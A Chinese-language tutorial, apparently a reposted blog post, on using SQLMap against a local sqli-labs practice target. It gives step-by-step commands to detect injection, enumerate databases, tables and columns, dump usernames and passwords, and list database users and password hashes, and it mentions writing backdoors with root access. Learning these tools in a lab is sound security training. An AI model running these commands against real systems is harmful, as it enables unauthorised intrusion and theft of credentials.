目录
一、SQLMap详解
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
二、Sqlmap使用(以注入sql-libs为例):
1、判断是否存在注入
我们将疑似存在注入漏洞的地址获取到,目标注入点地址是http://127.0.0.1/sqli/Less-1/?id=8,在sqlmap里执行命令:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8
结果显示:
分析反馈信息:
1. 检测到数据库可能是'mysql'
2. 存在一个注入参数'id'并且为get类型
3. 显示了使用的各种注入类型,和具体构造的payload
如果说在注入过程中URL中有多个参数时,我们应该在地址上面加双引号,例如:
sqlmap.py -u "https://kaifa.baidu.com/searchPage?wd=sqlmap & hmsr=aladdin"
2、判断文本中的请求是否存在注入
以上的查询是指定带参数的url,同样我们也可以从文本文件中获取HTTP请求,这样就可以不设置其他参数。txt文件中内容为web数据包,我们可以通过以下命令判断是否存在注入:
sqlmap.py -r target.txt
这里的txt文件要放在Sqlmap所在文件夹同目录下
同样我们也可以用-p指定要注入的参数名
sqlmap.py -r target.txt -p title,content
3、查询当前用户下所有的数据库
如果当前用户的权限可以读取所有数据库列表信息我们则可以通过以下命令获取到所有数据库名称:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --dbs
结果显示:
3、获取当前数据库的名称
当我们注入站点后需要获得一些数据,则需要获得当前数据库名称进而执行以后操作:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --current-db
结果显示:
4、获取数据库中的表名
当我们查询完数据库后应查出数据库中存在的表名,如下:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security --tables
这里的-D参数是指定数据库;–tables是查询指定数据库里面的表
结果显示:
分析反馈信息:
我们应该根据我们想获得数据的内容,以目的性的去探查表。
比如我们想获得账号和密码,显然根据表的回显,我们应该去查看users表
5、获取表中的字段名
当查询完表后,应该去查询表内的所有字段名,命令如下:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security -T users --columns
这里的-T参数是指定表;–columns是查询指定表里面的字段
结果显示:
6、获取字段内容
以下是查询完字段后获取字段具体数据信息的命令
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security -T users -C id,username,password --dump
结果显示:
三、其他常用方法:
1、获取数据库所有用户
以下命令作用是列出数据库中的所有用户,如果权限允许还可以查询到包含所有用户的表:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --users
结果显示:
2、获取数据库用户密码
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --passwords
结果显示:
在执行过程中可能存在很多选择默认情况下都是y,可以通过加一个–batch参数来默认执行,加快效率
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --passwords --batch
3、获取当前数据库用户名称
该命令可以列出网站使用数据库用户
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --current-user
结果显示:这里显示的是root用户权限很高,这可以帮助我们在进阶注入时,帮助我们在数据库写入后门等其他操作!
版权归原作者 吉米_ 所有, 如有侵权,请联系我们删除。